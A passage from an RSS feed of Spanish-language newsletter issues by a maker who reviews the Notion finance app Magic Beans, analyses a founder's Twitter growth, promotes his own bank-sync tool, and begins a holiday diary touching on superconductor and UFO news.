<b>Caro y escaso </b>🫰Os voy a ser sincero: no he tenido estómago para pagar los $25. Simplemente porque el resto de la aplicación no cubre mis necesidades. Pero viendo los datos de <i>demo</i>, la documentación y la estructura general de la información queda claro que no hay tabla específica de entradas bancarias (por tanto se usa la misma de transacciones) lo que excepto para casos muy básicos va a ser un problema a corto plazo. Y, de nuevo, son $25/mes. Teniendo en cuenta que mi propia herramienta, <a class="link" href="http://banco.surf?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow">banco.surf</a>, permite sincronización por 1€/mes/cuenta con cualquier cosa que hable HTTP o Make y que <b>ellos usan exactamente el mismo proveedor PSD2</b>, se me hace bola. Además, no sé si esto está actualizado, pero en su documentación dicen que sólo permiten conectar un banco 🤷‍♂️.</p></li></ul><h2 class="heading" style="text-align:left;">📉 Conclusión</h2><p class="paragraph" style="text-align:left;">Magic Beans está bien. Es una app bonita. La app en si aporta poco, porque es Notion-first. Es así <i><b>by design</b></i>. Pero lo que aporta está interesante: insights sobre tu dinero y conexión a banco.</p><p class="paragraph" style="text-align:left;">Lo que pasa es que estas dos cosas son tirando a <i>sencillitas</i> y te clavan $25/mes.</p><p class="paragraph" style="text-align:left;">Y te casan con Notion, lo que puede estar bien si <i>vives en Notion</i>, como algunos. Pero si no sabes si hoy estarás en Notion y mañana en Obsidian, o si tus bases de datos de transacciones bancarias igual pueden estar en Notion que en Airtable o Google Sheets, entonces más que una ventaja es un <i>vendor lock-in</i> autoimpuesto.</p><p class="paragraph" style="text-align:left;">Yo buscaba una mejora sobre mi sistema actual de Coda + Airtable + Make + <a class="link" href="http://Banco.surf?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow">Banco.surf</a>. Lo que me encuentro es un nuevo montaje tipo <i>bridamen</i> pero ahora con Notion + MagicBeans, que no es sustancialmente mejor en usabilidad y además me quita de la boca siete docenas de ostras al año.</p><p class="paragraph" style="text-align:left;">No me compensa 🦪.</p><p class="paragraph" style="text-align:left;">¿Qué hago entonces con mi dinero?</p><h1 class="heading" style="text-align:left;">🚀 Haciéndoles la competencia</h1><p class="paragraph" style="text-align:left;">En su email sobre Magic Beans, Juan me decía que le parecía caro. Que la competencia era más barata. Que sería fantástico si convencíamos a Iván para que pusiese un plan de $8/mes.</p><p class="paragraph" style="text-align:left;">Yo, embelesado por su poderío <i>socialmedia</i> contesté que no, que estos se están posicionando como una app muy pulida. <i>Top shelf</i>. Que era de esperar.</p><p class="paragraph" style="text-align:left;">Pues me equivoqué. Esta aplicación, tal y como está, <b>no vale $25/mes</b>. No para mi. Y menos siendo este el precio por la funcionalidad <i>adicional</i> al plan gratuito. Simplemente no aporta <i>tanto</i> más que una buena plantilla de finanzas personales y cualquier otra solución para la sincronización bancaria.</p><p class="paragraph" style="text-align:left;">Pero… ¿qué solución de sincronización? Obviamente siendo que yo vendo una, no voy a pagar a otro para que me lo haga. Lo que pasa es que la mía te obliga a pasar por una API HTTP o por Make. Y para hacerte tus movidas <i>custom</i> está genial. Pero si lo que quieres es una sincronización <i>seamless</i> con Notion, por ejemplo, no es ideal.</p><p class="paragraph" style="text-align:left;">Pues ale. Me pongo el jersey negro de cuello vuelto e <i>introducing… </i><a class="link" href="https://sync.banco.surf?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow"><i>Banco.surf Sync</i></a><i>.</i> </p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/b3129b92-bd9f-4c4f-adb8-92e470a2a339/Screenshot_2023-08-15_at_17.45.44.png"/></div><p class="paragraph" style="text-align:left;">En unas semanas, sincronización banco-Notion por 8€/mes. Avisen a sus abuelas.</p><h1 class="heading" style="text-align:left;">👋 Y ya está</h1><p class="paragraph" style="text-align:left;">Con esto cierro la newsletter de esta semana. En la que viene os sigo contando mi cuento y cómo progresa tanto esto último del <a class="link" href="http://banco.surf?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow">banco.surf</a> como las nuevas aventuras delegando <a class="link" href="http://courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow">courses.so</a>.</p><p class="paragraph" style="text-align:left;">Y lo que surja.</p><p class="paragraph" style="text-align:left;">Espero que hayáis disfrutado. Y si no, no os devuelvo el dinero, porque es gratis.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=ec5673a0-bd1a-4e61-a636-02ffc7368af8&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#44 - Invidia</title>
  <description>Fanboyeando sobre un señor en Twitter a nivel profesional</description>
  <link>https://cuento.beehiiv.com/p/44-invidia</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/44-invidia</guid>
  <pubDate>Wed, 09 Aug 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-08-09T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Hace un par de semanas, Juan, lector premium de esta casa, me escribió hablándome de <a class="link" href="https://magicbeans.app?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia" target="_blank" rel="noopener noreferrer nofollow">Magic Beans</a>. No la conocía. Es una app para gestionar tus finanzas de empresa (o autónomo) en Notion. Lo típico: proyectos, facturas, gastos, conciliación bancaria, etcétera.</p><p class="paragraph" style="text-align:left;">Ya la cosa en sí me intrigaba pero… es que no sólo funciona. Es que da <b>gusto</b> ver la app.</p><p class="paragraph" style="text-align:left;">De verdad, echadle un vistazo a la landing. O a este tweet:</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/igarcido/status/1679023289455214592?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;">Como puedes ver esto no es cosa de ninguna macro empresa extranjera. Ni tampoco de uno de esos <i>indie hackers</i> asiático famosete. Es cosa de un señor de Barcelona que se ha juntado con un número indeterminado (5, según LinkedIn) de gentes para hacer cosas fantásticas.</p><p class="paragraph" style="text-align:left;">Echadle un vistazo a sus tweets. El nivel de pulido es flipante. <a class="link" href="https://reboot.studio?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia" target="_blank" rel="noopener noreferrer nofollow">Esta es su empresa, con una landing de las buenas</a>: título y portfolio. Y punto.</p><p class="paragraph" style="text-align:left;">Todas las apps son igual de <i>buttery smooth</i>.</p><p class="paragraph" style="text-align:left;">Cuando veo estas cosas me da pura envidia. No sólo porque yo no he sido nunca capaz de hacer UIs tan maravillosas, incluso escudándome en la estupidez de decir aquello de <i>es que yo soy programador, no diseñador</i>.</p><p class="paragraph" style="text-align:left;">Menudo imbécil.</p><p class="paragraph" style="text-align:left;">También porque me da envidia por el foco. Porque a primera vista su situación personal no es nada extraordinario. Bicheando sus redes veo que Iván y su co-founder Toni pasaron juntos por Everis, una consultora <i>de las de toda la vida</i>, y después montaron juntos Cravy, una app de pedir comida que aparentemente llevaron hasta más de 1000 clientes recurrentes y 5000€ de MRR para entonces estampar, ya que no queda rastro de ésta tres años después.</p><p class="paragraph" style="text-align:left;">Y desde entonces están en esto, creando productos varios. Y dando gusto en el proceso.</p><p class="paragraph" style="text-align:left;">Inspirador.</p><h1 class="heading" style="text-align:left;">👀 Bicheando a la competencia</h1><p class="paragraph" style="text-align:left;">Y hablando de inspirador, como la copia es la forma más sincera de admiración y yo ya he comentado varias miles de veces que de mayor quiero ser como ese señor, me he cogido el Twitter del Iván y <b>me lo he leído</b>.</p><p class="paragraph" style="text-align:left;">El motivo principal es porque creo que ha conseguido cosas muy interesantes, y evidentemente a mi me encantaría poder hacerlo también.</p><p class="paragraph" style="text-align:left;">Pero además me interesa especialmente que no se trata de un <i>outlier</i>. No es un caso de éxito fulgurante. Se nota que les va bien, pero no estamos hablando de un caso excepcional, sino uno de los <i>normalitos</i>. Y encontrarte estos es más difícil.</p><p class="paragraph" style="text-align:left;">Y sin embargo el progreso es igualmente fascinante.</p><p class="paragraph" style="text-align:left;">Os recuerdo que no tengo información ninguna sobre esta persona ni su equipo. Así que me lo voy a tomar como un ejercicio de lo que podemos aprender simplemente leyendo el perfil de Twitter de un creador exitoso. Disculpad si meto la pata en algún detalle.</p><p class="paragraph" style="text-align:left;">Empezamos a mediados de 2020. Para ese entonces todavía estarían con la app fallida de comida. Muchos retweets, nulo engagement. Comportamiento estándar de un <i>lurker</i> de Twitter. Mentalidad de consumir y no de crear, se suele decir.</p><p class="paragraph" style="text-align:left;">Es evidente que en este punto las redes no son su prioridad para nada.</p><p class="paragraph" style="text-align:left;">La cosa cambia en octubre, en el que aparece el primer quote-retweet enfocado a crear una presencia en la red:</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/igarcido/status/1321055234022662149?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;">Comete el error (de priorización) que muchos hemos cometido antes y después: crear una cuenta corporativa para su nueva empresa. Tweets que suenan serios y profesionales y que empiezan con <i>“At Reboot Studio we…”</i>. Y con un engagement ridículo en 95% de las ocasiones.</p><p class="paragraph" style="text-align:left;">Le falta aquello de que <i>somos un equipo multidisciplinar</i>.</p><p class="paragraph" style="text-align:left;">Y sepáis que digo que es un error porque viendo los números de hoy, como es de esperar, su cuenta personal duplica en seguidores a la de la empresa y hace 10x el engagement. Esto es así en este tipo de redes sociales: la gente quiere seguir a personas, no a <i>entes</i>.</p><p class="paragraph" style="text-align:left;">En cualquier caso, volviendo a la historia, Iván sigue publicando paralelamente en su perfil personal. Lo hace mayormente en español, con hilos hablando de su empresa, el stack que usan, pinceladas de humor, retweets a su co-founder. Sistemáticamente engagement nulo, incluso en los posts en inglés.</p><p class="paragraph" style="text-align:left;">Aquí es donde me doy cuenta el <i>cross-pollination</i> que han tenido estos con <i>mi mundo</i>: acudieron al NoCodeFest de 2020 que organizan como sabéis mis queridos <i>amigos nocoderos</i> de los que hablo siempre, <a class="link" href="https://www.sharingaway.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia" target="_blank" rel="noopener noreferrer nofollow">SharingAway</a>.</p><p class="paragraph" style="text-align:left;">Aprovecho por cierto para hacer un inciso y agradecer a Pablo su mención en el email del otro día:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/83646d9a-f81b-454b-966b-b33bea955308/Screenshot_2023-08-03_at_10.16.48.png"/><div class="image__source"><span class="image__source_text"><p>Agradécemelo con unas cervezas la semana que viene 🍻😁</p></span></div></div><p class="paragraph" style="text-align:left;">El caso es que de hecho ganaron el primer premio del hackathon. El tercer premio fue un equipo con varios pesos pesados del mundillo, incluyendo a Jaime Mesa, Noemí Carro y Elena Madrigal. Boom 💣, hay mención en la newsletter de Jaime.</p><p class="paragraph" style="text-align:left;">Parece que este <i>hacer cosas</i> funciona. </p><p class="paragraph" style="text-align:left;">Estoy bien seguro de que todo esto expande significativamente el radio social y profesional de los founders, incluso más de lo que lo estaría ya, conociendo su trayectoria.</p><p class="paragraph" style="text-align:left;">Sin embargo para lo que nos concierne en este análisis, Twitter, hay escasa mejora en el engagement. Desconozco si hay mejora en las ventas, pero me temo que no mucho: por desgracia el mundo <i>hispano</i> es mucho más pequeño que el anglosajón. Más pequeño en tamaño, e <b>infinitamente más pequeño</b> en dinero.</p><p class="paragraph" style="text-align:left;">Pasan los meses sin demasiado cambio. Sigue publicando en castellano. Contratan gente, es decir, que van facturando. ¿Será todo de las apps <b>o estarán vendiendo servicios también</b>? No lo sé. El caso es que publican ofertas en Twitter. Nadie las lee.</p><p class="paragraph" style="text-align:left;">36-45K€ para un mid-senior Front-end developer, full remote, para los curiosos.</p><p class="paragraph" style="text-align:left;">Incluso parece que se compra algún NFT el chaval.</p><p class="paragraph" style="text-align:left;"><i>Nobody cares 🤷‍♂️</i>.</p><p class="paragraph" style="text-align:left;">Entonces el foco empieza a cambiar. Siguiendo el <i>playbook</i> estándar de la red social se pone a interactuar con otros creadores. Cada 2-3 días, respuesta, quote-tweet o autobombo de productos concretos. Siempre con imágenes, animaciones, screenshots. Los empleados también participan publicando pequeños videos a los que hace quotes.</p><p class="paragraph" style="text-align:left;"><i>Piano, piano, si va lontano.</i></p><p class="paragraph" style="text-align:left;">Lanzan <a class="link" href="https://www.producthunt.com/products/hypersonic?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia#hypersonic" target="_blank" rel="noopener noreferrer nofollow">Hypersonic</a> en Product Hunt en Julio de 2022. Quedan 4º del día. 18 días después llevan más de 1200 descargas. Pero siguen teniendo <i>engagement</i> escaso en Twitter. ¿Cómo lo consiguen?</p><p class="paragraph" style="text-align:left;">Muy inteligentemente su app es una extensión de <a class="link" href="https://www.raycast.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia" target="_blank" rel="noopener noreferrer nofollow">Raycast</a>, un launcher supervitaminado de MacOS, <b>con su propia tienda de extensiones.</b> Así pueden hacerse virales en la propia <i>store</i>, apoyándose tanto en la comunidad de Raycast como en la de Notion y sin tener su propia red de distribución. </p><p class="paragraph" style="text-align:left;">Hypersonic, en resumen, <i>lo peta</i>. Pero, espera, esa app <b>es gratis</b>. ¿Cómo van a ganar dinero? Pues no parando.</p><p class="paragraph" style="text-align:left;">Y no paran. Se confirma lo que sospechábamos: <b>venden servicios</b>. Y con razón. El nivel de pulido que demuestran en sus productos es un reclamo irresistible para cualquier startup que quiera emular su estilo y tenga dinero para gastar. Menos de dos meses después anuncian que hay desarrollado la landing de <a class="link" href="http://latitude.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia" target="_blank" rel="noopener noreferrer nofollow">latitude.so</a>, una app tipo <i>data studio</i> capitaneada por César Migueláñez, ex-VP de Factorial emigrado a SF y su compi Gerard Closo, otro pez gordo de Factorial pasado por Shopify.</p><p class="paragraph" style="text-align:left;">Y mirad. Abrid el hilo, en serio, <b>Flipad con el nivel de pulido y animaciones para la landing de un MVP que literalmente se lanza en Product Hunt ese mismo día</b>. Ahí ha habido gasto.</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/igarcido/status/1577706224296103936?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;">Y siguen. Dos meses después mejoran su app <i>flagship</i>, Hypersonic, con funcionalidad para equipos. Conforme avanzan los meses su presencia online va madurando y el engagement empieza a aumentar. De 1-2 likes y escasas visualizaciones a más de 100 corazoncitos en varios posts y recuentos de vistas en los miles.</p><p class="paragraph" style="text-align:left;">Lanzan nueva web corporativa en marzo de este año, donde vemos que han estado trabajando ya en otros productos que ni siguiera parecen haberse viralizado. Mirad el hilo, el nivel de detalle 🤯:</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/igarcido/status/1633890215331786753?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;">Sale Magic Beans, el producto que me ha llevado a hacer todo este análisis, en mayo. Y sistemáticamente en todos los posts vemos animaciones, UXs cuidadísimas.</p><p class="paragraph" style="text-align:left;">Me juego un huevo a que mientras tanto siguen vendiendo sus servicios por una pasta gansa y sin publicitar ni la mitad. Se huele el efecto red y el boca a boca. O a oreja.</p><p class="paragraph" style="text-align:left;">De los pocos que sí publicitan, mirad este:</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/igarcido/status/1638607921096589313?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;">Y entre toda esa calidad, en junio Iván publica un meme chorra. En serio.</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/igarcido/status/1665799923923574786?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=44-invidia"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;"><b>Lo peta</b>. Casi 4000 likes. Más de 200k vistas. Y así, por arte de magia, hay un sustancial antes y un después. En influjo de gente a su perfil se encuentra evidentemente con un contenido <i>top-shelf</i>. Y estoy seguro que muchos se quedan con un <i>follow</i>.</p><p class="paragraph" style="text-align:left;">Todos los posts siguientes van en la linea de los anteriores: mostrando UIs pulidas, describiendo funcionalidades útiles. Pero ahora com 10x el engagement medio. Y luego 20x.</p><p class="paragraph" style="text-align:left;">Y en esta subida es cuando, con casi 500 likes y 54k vistas, lanzan la nueva landing de Magic Beans.</p><p class="paragraph" style="text-align:left;">33k vistas en el tweet sobre el lanzamiento en Product Hunt. Por desgracia se queda #18 del día. Pero aún así la tracción es evidente.</p><p class="paragraph" style="text-align:left;">Y así hasta hoy. Con los motores calientes para seguir vendiendo esas landings tan gustosas por el precio que les apetezca y, de paso, seguir creando aplicaciones propias con las que hacer crecer el maravilloso MRR.</p><h1 class="heading" style="text-align:left;">🚀 ¿Cómo lo copio?</h1><p class="paragraph" style="text-align:left;">Con constancia. Es evidente. Desde 2020 cuando cerraron capítulo de su anterior app claramente han estado enfocados en:</p><ul><li><p class="paragraph" style="text-align:left;">Ganar dinero vendiendo lo que saben hacer.</p></li><li><p class="paragraph" style="text-align:left;">Crear productos que no sólo generen MRR sino también publicidad para sus servicios.</p></li><li><p class="paragraph" style="text-align:left;">Show. Your. Fucking. Work. Y con cariño y mimo al detalle.</p></li></ul><p class="paragraph" style="text-align:left;">No tiene más. Busca algo que sea sostenible. Que puedas alargar tanto tiempo como necesites. Tal vez te costará un año cubrir tus gastos con ingresos regulares. Tal vez serán dos, o tres. Pero sé constante y mantente a flote vendiendo lo que sabes hacer al mejor postor.</p><p class="paragraph" style="text-align:left;">Y sí, también, haz amigos. De los trabajos por donde pases, de los <i>saraos</i> a los que te apuntes. Haz hackathones. Métete en líos. Bébete cervezas con gentes peligrosas.</p><p class="paragraph" style="text-align:left;">Yo escribiendo esta newsletter os aseguro que he aprendido la lección. O eso espero. Al menos ahora mismo, a las 10:37 bebiéndome una cerveza en la terraza mirando el mar, me siento motivadísimo.</p><h1 class="heading" style="text-align:left;">¿Y la app qué tal 🧮?</h1><p class="paragraph" style="text-align:left;">Pues no la he probado. Lo siento Juan, que ya me dijiste que esperabas mi análisis. Vendrá, pero quiero hacerlo cuando vuelva a casa y tenga tiempo de meter toda mi información en el sistema y probar bien la funcionalidad de sincronización con banco.</p><p class="paragraph" style="text-align:left;">Pero tengo la sensación de que estos señores me van a levantar 300€ al año en breves.</p><h1 class="heading" style="text-align:left;">👋 Y hasta aquí</h1><p class="paragraph" style="text-align:left;">Con esto cierro la newsletter de esta semana, que he escrito, por ser transparente, el jueves de la semana pasada, vamos, hace 7 días. Eficiencia, señores. Así me da tiempo de o bien trabajarme todavía mejor la próxima o, lo más probable, procrastinar a gusto hasta entonces.</p><p class="paragraph" style="text-align:left;">En la próxima, por cierto, vendrá en análisis de Magic Beans que os decía antes y también <i>teaser</i> de mi estrategia <i>maker</i> del curso 2023-2024 que empieza, como debe ser, en septiembre.</p><p class="paragraph" style="text-align:left;"><i>Stay tuned</i>, dicen por ahí.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto, digo yo.</p><div class="blockquote"><blockquote class="blockquote__quote"></blockquote></div></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=f40cccf0-c722-4e02-b4f8-c555c4a17d12&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#43 - La Daily</title>
  <description>Siete vidas tiene un gato, siete días una semana</description>
  <link>https://cuento.beehiiv.com/p/43-la-daily</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/43-la-daily</guid>
  <pubDate>Wed, 02 Aug 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-08-02T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Buenos miércoles y seáis bienvenidos y bienvenidas a esta newsletter atípica. Otra de las de vacaciones. Pero esta vez en lugar de ser corta, va a ser especialmente larga. Y en lugar de interesante, va a ser ecléctica-mal y probablemente insufrible. ¡Ooops!</p><p class="paragraph" style="text-align:left;">Me gustaría que, si decidís leerla, la tomaseis como ese libro de bolsillo algo arrugado que os lleváis a la playa. Lectura ligera. Barata incluso. Novela romántica con portada al óleo. O una de espías, tipo le Carré. O un cómic de Mortadelo, no sé. Algo en lo que no pones especial esperanza. Lo llevas encima para pasar el rato, evadirte un poco.</p><p class="paragraph" style="text-align:left;">Como cuando lees un periódico de hace tres años con el que te han envuelto un bocadillo o una cerveza en el chiringuito. <i>Vaya, interesante, el 24 de Agosto de 2020 el pescado más vendido en la lonja de Valencia fue la pescadilla, a 4,03€/kg. ¡Trescientos veinticuatro quilos vendieron!</i>. Y le das otro trago al bebercio mientras miras pasar a las familias cargadas de esterillas, bártulos, sombrillas y enseres diversos como si fuesen tribus nomádicas cruzando el Sahara.</p><p class="paragraph" style="text-align:left;">Pues ese debe ser el <i>feeling</i>. Porque esta newsletter es puro destilado de escritura libre, atemática y visceral. Y empieza un miércoles. Pero no este.</p><h1 class="heading" style="text-align:left;">⏰ 8:08 del día 1</h1><p class="paragraph" style="text-align:left;">No son las 5:00 que quería. Ya empezamos mal. Pero es que a las 4:00 estaba cayendo una tromba de agua que un poco más y se van las sillas de la terraza flotando.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/70723c45-8721-4f70-8cd6-842ea12d29df/Screenshot_2023-07-26_at_08.12.21.png"/></div><p class="paragraph" style="text-align:left;">Así que combinando esto y que me había acostado a las 00:30 jugando al <a class="link" href="https://amzn.to/3Y8xKxM?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=43-la-daily" target="_blank" rel="noopener noreferrer nofollow">Virus</a> porque mi hijo está obsesionado, he apagado la alarma y he dejado lo de trabajar para más tarde.</p><p class="paragraph" style="text-align:left;">Ya que te cuento mi inicio de jornada te digo también de qué va esta newsletter.</p><p class="paragraph" style="text-align:left;">Es una especie de diario.</p><p class="paragraph" style="text-align:left;">Yo hace tiempo empecé a escribir un diario. De hecho ahora que lo pienso, lo he hecho varias veces. Tengo uno de cuando tenía igual 5 o 6 años. Que por cierto, la letra no la he mejorado demasiado desde entonces. Pero en cualquier caso, hablo de recientemente. Cuando me compré el iPad Pro me obsesioné en usarlo para todo, porque la verdad es que es una flipada de aparatito. Y una de las apps que encontré recomendada es <a class="link" href="https://dayoneapp.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=43-la-daily" target="_blank" rel="noopener noreferrer nofollow">Day One</a>, una de diario que se sincroniza entre dispositivos. Así que me levantaba cada día y, antes de nada, escribía cuatro cosas:</p><ul><li><p class="paragraph" style="text-align:left;">Tres cosas buenas a destacar del día anterior</p></li><li><p class="paragraph" style="text-align:left;">Tres cosas a mejorar</p></li><li><p class="paragraph" style="text-align:left;">Los objetivos del día que empezaba</p></li><li><p class="paragraph" style="text-align:left;">Las reflexiones sobre el día pasado</p></li></ul><p class="paragraph" style="text-align:left;">Pues me gustaría recuperar la costumbre, aún que no sea tan estructurada. Así que entre hoy (que es miércoles de newsletter, pero el pasado, el de la #42 que sale en un par de horas) y el siguiente (que sí, será el que has recibido ésta, la #43) me levantaré y escribiré un poco sobre lo que me apetezca. Y el resultado compendio te lo enviaré a ti para que te entretengas.</p><p class="paragraph" style="text-align:left;">A ver qué pasa.</p><h1 class="heading" style="text-align:left;">🥶 5:36 del día 2</h1><p class="paragraph" style="text-align:left;">Vamos a ir al grano: me he puesto una sudadera. A 27 de Julio. Estoy que lloro de la emoción.</p><p class="paragraph" style="text-align:left;">A parte de este detalle importante, celebro segundo día de diario. Que me recuerda al <a class="link" href="https://es.wikipedia.org/wiki/The_Legend_of_Zelda:_Majora%27s_Mask?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=43-la-daily" target="_blank" rel="noopener noreferrer nofollow">Majora’s Mask</a>.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/002e960c-89a8-435f-8cdf-671e8ed1c05c/ENCp5_2WkAEAcaF.jpg"/><div class="image__source"><span class="image__source_text"><p>Un juegazo, pero nightmare fuel cuando tienes 12 años.</p></span></div></div><p class="paragraph" style="text-align:left;">Ayer puse un tweet. Por aquello de que voy <i>all-in</i> con <a class="link" href="http://x.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=43-la-daily" target="_blank" rel="noopener noreferrer nofollow">x.com</a> que comentaba la semana pasada y también porque entré a hacer <i>doomscrolling</i> y me encontré con un conjunto de locuras inesperadas que habían ocurrido en las últimas 36h.</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/adlpz/status/1684282406071566338?s=20&utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=43-la-daily"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;">Para que no tengáis que hurgar en el tweet, os lo resumo:</p><h2 class="heading" style="text-align:left;">1️⃣🧲 — Superconductores a temperatura ambiente</h2><p class="paragraph" style="text-align:left;">Unos coreanos publican un paper en el que dicen haber sintetizado justamente eso. Toma ya.</p><p class="paragraph" style="text-align:left;">Para los que no estéis al tanto de esto, si se demuestra cierto, la revolución tecnológica es inminente.</p><p class="paragraph" style="text-align:left;">Un superconductor permite crear cables y circuitos que no tienen resistencia eléctrica (y por tanto consumo negligible y no se calientan). Además permite construir imanes ultra-potentes, levitar trenes pasivamente y un sinfín de movidas futuristas más. De nuevo, ahora falta la verificación, pero de confirmarse tenemos premio Nobel.</p><p class="paragraph" style="text-align:left;">El paper (reducido a tres autores: el Nobel sólo puede compartirse entre máximo tres) aquí: <a class="link" href="https://arxiv.org/abs/2307.12008?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=43-la-daily" target="_blank" rel="noopener noreferrer nofollow">https://arxiv.org/abs/2307.12008</a></p><h2 class="heading" style="text-align:left;">2️⃣👽 — Unos señores dicen que hay extraterrestres</h2><p class="paragraph" style="text-align:left;">En el contexto de una comisión del congreso americano para investigar ciertos fenómenos aéreos no identificados desclasificados recientemente han traído a declarar a tres fulanos:</p><ul><li><p class="paragraph" style="text-align:left;">David Grusch — un <i>whistleblower</i> ex-empleado de inteligencia que estuvo encargado del análisis de fenómenos aéreos inexplicados para el departamento de Defensa hasta marzo de este año.</p></li><li><p class="paragraph" style="text-align:left;">David Fravor — Comandante de la armada y piloto de F/A-18F con décadas de experiencia y que, aparentemente, persiguió un <i>ovni</i> durante unos <a class="link" href="https://es.wikipedia.org/wiki/Videos_de_ovnis_del_Pentágono" target="_blank" rel="noopener noreferrer nofollow">ejercicios militares en 2004</a>.</p></li><li><p class="paragraph" style="text-align:left;">Ryan Graves — Otro piloto de la armada que asegura haberse encontrado con estos fenómenos regularmente.</p></li></ul><p class="paragraph" style="text-align:left;">¿Son gente creíble? Pues ni idea.</p><p class="paragraph" style="text-align:left;">¿Lo que buscan es hacerse famosos mintiendo bajo juramento y vender libros? Pues fácil que sí. Porque la gente está muy loca.</p><p class="paragraph" style="text-align:left;">Pero el caso es que <b>han declarado con un par de huevos que los americanos han recuperado OVNIs estampados y, sí, también a los pilotos, que son </b><i><b>“biológicos no humanos”</b></i><b>. </b>Toma pastilla 🛸.</p><p class="paragraph" style="text-align:left;">Si os aburrís, aquí la sesión entera:</p><iframe allow="accelerometer; 